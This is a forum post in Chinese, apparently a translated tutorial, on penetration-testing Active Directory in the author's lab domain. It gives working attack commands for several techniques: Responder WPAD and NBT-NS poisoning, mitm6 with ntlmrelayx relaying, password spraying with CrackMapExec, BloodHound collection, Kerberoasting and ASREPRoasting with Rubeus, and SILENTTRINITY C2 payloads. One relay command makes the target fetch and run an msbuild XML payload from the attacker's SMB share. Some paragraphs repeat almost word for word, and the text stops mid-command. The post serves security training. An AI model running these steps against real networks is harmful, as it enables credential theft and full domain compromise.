taibeihacker
Moderator
0x01 前言
我有幾個客戶在滲透測試之前來找我,說他們的系統安全做得非常好,因為他們的漏洞掃描顯示沒有嚴重的漏洞並且已準備好進行安全測試,這使我在15分鐘內利用AD中的錯誤配置獲得了域管理員權限。我在滲透測試領域看到的一個教育缺陷是當前涉及滲透Active Directory(AD)方面缺乏知識。不幸的是,OSCP並沒有覆蓋AD測試,甚至連sans-gpen課程也很少涉及它。本文的目標是幫助展示我過去在對AD的安全測試中使用的一些技術,工具和方法。這絕不是一遍關於每種方法或工具的綜合性手冊。在本系列中,我將使用kali linux 2019,並通過虛擬機在自己的虛擬域上操作。
讓我們首先說明目標:滲透測試的目標是識別攻擊者為破壞網絡而使用的任何可能的攻擊向量。它不是為了獲得域管理員權限。
現在我們有了一個目標,我們遵循了幾個步驟來實現它。下面是關於測試環節的(粗略)圖示指南。

概要:一個客戶機僱傭您在他們的網絡上進行滲透測試,該網絡使用Active Directory。沒有提供任何有關的信息,也沒有任何登錄憑據,也沒有攻擊範圍,也沒有進入客戶公司前門的憑證,但是你可以設法從後門尾隨進入,找到一個有IP電話的隱蔽房間。拔下IP電話的插頭,插入筆記本電腦,發現自己在客服公司同一局域網內。下一步是什麼?獲得權限立足點。
0x02 第一阶段:获得权限立足点
由於沒有信任證書,我們可以進行的偵察數量有限,而且幾乎在整個週期的每一步都會進行偵察,但是我們可以立即採取一些措施來立足於網絡。首先,因為我們有網絡訪問權限,所以只需通過ifconfig或ipconfig檢查我們所在的子網。獲得IP後,在nmap中執行ping掃描以查看是否可以訪問其他設備。nmap -sn 192.168.1.1/24
如果顯示ping返回,那麼該網絡設備可網絡連通。如果什麼都沒有得到,可能是ICMP被禁用,那麼網絡上沒有其他設備,或者由於您沒有經過身份驗證,您無法與其他設備通信,並且可能被身份安全解決方案(如Cisco ISE)阻止。為了本文的目的,假設我們已經和一些設備網絡連通,並且能夠成功地對它們執行ping操作。
1.Responder
接下來,我們將使用一個名為Responder的工具,或者如果你偏愛Windows,那麼Inveigh。這兩個工具的作用是檢查AD中非常常見的錯誤配置,從而導致WPAD和NBT-NS中毒的能力。默認情況下,Windows配置為在使用Internet時搜索Web代理自動發現文件。這在組織中很有用,因為設備將發送廣播請求代理文件並接收代理文件。但是,它自然不會驗證發送代理文件的人員,允許攻擊者發送欺騙性答案然後請求憑據。接下來,我們將使用一個名為Responder的工具,或者如果您偏愛Windows和Inveigh。這兩個工具的作用是檢查AD中常見的錯誤配置,從而導致WPAD和NBT-NS投毒。情況下,Windows配置為在使用Internet時搜索Web代理自動發現文件。這在企業組織中很有用,因為設備將發送廣播請求代理文件並接收代理文件。但是,它自然不會對發送代理文件的人進行身份驗證,從而允許攻擊者發送一個欺騙的答案,然後請求憑據。
在Kali中,默認安裝responder
responder -I eth0 --wpad
在我的Windows 7計算機上,我打開Internet Explorer並轉到Google,然後啟動對WPAD文件的搜索。在Responder中,我看到請求通過,然後Responder自動用挑戰回復請求,這導致受害者發送他們的用戶名和哈希密碼(以NTLMv2格式)

有了這個哈希表,我們可以做一些事情。我們可以嘗試破解它,或者使用ntlmrelay.py之類的工具進行中繼。我在該文章中闡述瞭如何轉發NTLM哈希,所以我將繼續闡述如何破解它,因為這通常是我在計劃時所做的。
說實話,我很少在linux/kali上破解密碼。我使用的是一個nvidia GPU顯卡,它從來沒有在Kali上被正確安裝過,而且Windows上有hashcatgui,這使得它更簡單容易並將使用它。我把收集到的哈希值存儲到一個名為“hash.txt”的文件中,並對其運行一些簡單規則和輸入輸出設置,但在本文中,我只是使用了字典rockyou.txt並運行它,它在一秒內就成功破解了哈希值。

我對HashcatGUI的設置

現在我們成功破解了密碼,我們有登錄憑據Alice

在繼續之前,我想展示一些其他的方法,以防Responder 程序不起作用。
2.mitm6
假設客戶端的網絡正在使用合法的WPAD PAC文件,並且您的欺騙無法正常運行。還有另一種技術利用IPv6和DNS將憑證中繼到目標。默認情況下,IPv6已啟用且實際上優先於IPv4,這意味著如果計算機有IPv6 DNS服務器,則它將使用IPv4。此外此外,默認情況下,Windows計算機通過DHCPv6請求查找IPv6 DNS服務器,如果我們使用假的IPv6 DNS服務器進行欺騙,我們可以有效地控制設備查詢DNS的方式。更多內容可以在這裡閱讀。首先,下載mitm6
git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .
然後針對目標網絡工作組運行它。因為我們以前做過一次ping掃描,所以也獲取到了netbios名稱,顯示目標域是lab.local
以下是我運行mitm6之前目標上的IP設置。

注意DNS服務器
然後運行mitm6
mitm6 -d lab.local

現在目標上的DNS服務器已經被更改

注意IPv6地址作為DNS服務器
現在真正的漏洞是Windows下IPV6比IPV4的攻擊更好,這意味著現在已控制DNS。
所以現在利用這樣一個事實:我們通過Ntlmrelayx.py再次欺騙WPAD響應來控制DNS。在這裡,我寫了一篇關於如何設置它的指南。
在一個窗口中運行mitm6時,同時打開另一個窗口並運行ntlmrelayx.py
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/-i
-wh: 託管WPAD文件的服務器(攻擊者的IP)
-t: 目標(您無法將憑據中繼到您正在欺騙的同一設備中)
-i:打開一個交互式shell

從這裡我們可以通過netcat連接到shell,就好像我們有一個完全交互的SMB shell,或者我們可以通過-c(命令)發送一個Empire stager。實際上,你的選擇僅限於ntlmrelayx.py所能做的。在這種情況下,我使用-c命令來執行silenttrinity有效payload。我在這裡寫了關於如何使用SILENTTRINITY的文章。
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/--no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

但是,在本例中,msbuild.exe在這種情況下不構建XML文件,而且我也沒有返回silenttrinity的連接,因為這太容易了。相反,我查看我的SMB服務器並查看中繼哈希

然後反而我成功地破解了它

現在,我們成功地在不使用Responder的情況下擁有網絡憑據
3.CrackMapExec
CrackMapExec本質上是一把瑞士軍刀。從密碼噴灑和哈希傳遞到命令執行,它應該在每個滲透測試工具包中被使用如果其他都失敗了,我們可以嘗試密碼噴灑。這個方法之所以是最後一個,是因為密碼被鎖定。密碼鎖定並不像您想像的那樣常見,這允許攻擊者對用戶名使用字典進行攻擊。獲取用戶名是第一步,可以通過OSInt和使用信息收集器來完成。如果我們沒有來自osint的用戶名,我們也可以給crackmapexec(cme)一個用戶名字典表,但是為了時間的緣故,我們假設有用戶名rsmith。
如果您使用的是Kali的較新版本,則默認已安裝了CrackMapExec,但如果不是,則可以安裝它
apt-get install crackmapexec
由於我們在掃描中識別出網絡上的設備,因此我們可以向CME提供與用戶名配對的密碼字典並嘗試登錄。
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p~/Documents/wordlists/fasttrack.txt --shares
幾秒鐘後,就會獲取到密碼。

這可能看起來是CTF-Y,但season:year 是一個非常流行的密碼組合。
有了這些找到的憑據,我們現在擁有了一個常規的用戶帳戶,並將下文中繼續提升權限
在上文中,我以三種不同的方式獲得了域的憑據。在本文的大部分內容中,我將使用rsmith用戶憑據,因為它們權限是低級別的,這將使我們進行權限提升
當然,Windows中的權限提升可以來自缺少的補丁或不帶引號的服務路徑系統,但由於這是對AD的測試,我們將利用一些AD內容來提升權限。
有了網絡憑據,我們現在應該先進行一些信息收集,然後再直接查看未打的補丁漏洞。有一些工具和技術會對我們有所幫助。
0x03 第二阶段:特权提升和信息收集
1.Bloodhound
我最喜歡的工具之一是Bloodhound。以圖形化方式顯示,因此Bloodhound是一個很好的工具,因為它可以從字面上映射出圖形中的域,揭示了有關聯和無關聯的關係。從攻擊者的角度來看,這很有趣,因為它向我們展示了目標。我寫了一整篇關於Bloodhound的文章,可以在這裡閱讀到,但我會展示一個tl; dr版本
假設您沒有在計算機上獲得一個會話,但您擁有憑據。您仍然可以使用Bloodhound的Python並遠程收集數據。可以通過git進行安裝
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py/pip install
然後可以通過傳遞憑據,域和DC IP來運行
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all

一旦BH完成了任務,它將以.json格式將數據存儲在運行它的目錄中。複製這些文件,然後將它們拖到Bloodhound中,現在您就有了一個漂亮的網絡圖。如果按“域管理的最短路徑”排序,您將得到類似於下面的內容。

AdminAlice已登錄DC
這樣做的好處是,您可以直接查看管理員登錄到哪些計算機,從而為您提供下一個目標。在一個擁有數百甚至數千台接受低權限憑據的計算機的域中,您不希望僅僅通過收集其他低權限憑據來浪費時間。這給出了一個目標列表,以及許多其他內容。其他用途包括識別可能具有包含憑證的數據庫的SQL服務器,識別哪些機器可以連接RDP等等。我鼓勵您在此深入了解它的深入功能。我還鼓勵你看看GoFetc,它自動利用Bloodhound繪製的攻擊計劃。
2.Kerberoasting | GetUserSPNs.py
通過標識目標列表和域控制器,一種權限提升的方式是Kerberoasting。因為在AD中向服務帳戶頒發了服務主體名稱(SPN),所以可以進行kerberoasting。然後,任何用戶都可以從具有該帳戶哈希密碼(採用kerberos 5 tgs-rep格式)的SPN請求kerberos票證。有許多不同的工具可以進行Kerberoasting,但實際上你只需要一個工具。GetUserSPNs.py非常簡單- 它在目標域中查詢在用戶帳戶下運行的SPN。使用它非常簡單。

現在我們有一個服務帳戶的哈希值。我將它加載到hashcat(當然是GUI)中並選擇hash類型13100,如下所示

它會在幾秒鐘內成功爆破

我們現在擁有服務帳戶的憑據,這通常會對域控制器的進行成功訪問。太容易了?讓我們試試其他方法。
3.ASEPRoasting | Rubeus
ASEPRoasting類似於Kerberosting,從這個意義上說,我們查詢帳戶的TGT,獲取哈希,然後破解它,但是在Aseproasting的情況下有一個非常大的警告:必須禁用Kerberos預身份驗證,這不是默認設置。當您通過Kerberos AS-REQ消息請求TGT時,您還提供使用您的用戶名和密碼加密的時間戳。然後,密鑰分發中心(KDC)解密時間戳,驗證來自該用戶的請求,然後繼續進行身份驗證過程。這是kerberos的預身份驗證過程,這顯然是攻擊者的問題,因為我們不是kdc,無法解密該消息。當然,這是設計用於防止攻擊,但是如果預身份驗證被關閉,我們可以向任何用戶發送一個as-req,它將返回哈希密碼。由於默認情況下啟用了預身份驗證,因此必須手動關閉它,因此這種情況很少見,但仍然值得一提。
tsmith容易受到ASREPRoasting影響,因為選中了“不需要Kerberos預身份驗證
為了利用這一點,我們將使用一個名為Rubeus的工具。 Rubeus是一個濫用Kerberos的大型工具集,但是為了進行ASREPRoasting,我們關心這一部分。要使用Rubeus,首先需要安裝Visual Studio。安裝完成後,下載Rubeus並使用Visual Studio打開Rubeus.sln文件。


默認情況下,它將安裝在rubes\bin\debug\file中。 cd進入該目錄,然後運行它:
.\Rubeus.exe asreproast

如果沒有用戶選中“不需要Kerberos預身份驗證”,那麼就不會有任何用戶進行驗證。但如果有…

然後我們可以為用戶獲取哈希並破解它。
請記住,示例是在已加入域的計算機上完成的,因此,如果您是從不在域上的計算機上執行此操作,則必須連接域控制器,域名,OU等
4.SILENTTRINITY
SILENTTRINITY是由@ byt3bl33d3r開發的一種新的命令和控制(C2)工具,它使用IronPython和C#。您可以選擇使用MSBuild.exe,這是一個Windows二進製文件,它構建C#代碼(默認情況下也安裝在Windows 10中,作為.NET的一部分),以XML格式運行命令和控制(C2)有效載荷,允許然後攻擊者使用底層.NET框架通過IronPython,C#和其他語言在受害者的主機上進行操作。就個人而言,SILENTTRINITY已經取代了我工具箱中的Empire,我在這裡寫了一篇關於如何使用帝國的指南。還有一些地方我更喜歡Empire連接,但ST也處於'alpha'狀態,所以該功能也會在其ST中體現。在我看來,ST取代Empire有三個主要原因。
Empire的有效載荷現在被Windows Defender捕獲,即使是在混淆的情況下(有很多方法可以解決,但仍然如此。)
ST在命令下執行
使用–at exec參數在CME上執行有效負載時,可以將權限升級到SYSTEM權限
以下是使用非域管理員用戶憑據的全新Windows 10安裝中的POC

帳戶“tsmith”僅在用戶的組中

使用tsmith的憑據執行代碼
我在SILENTTRINITY中生成XML payload,然後通過smbserver.py將其託管在我的SMB服務器上。如果你對怎麼做感到困惑,請按照我的指南進行操作。然後,我使用CME執行將在攻擊者機器上獲取XML文件的命令。
我在silenttrinity中生成XML有效負載,然後通過smb server.py將其託管在我的smb服務器上。如果你對怎麼做感到困惑,請按照我的指導來做。然後,我使用CME執行將在攻擊者機器上獲取XML文件的命令。
crackmapexec 192.168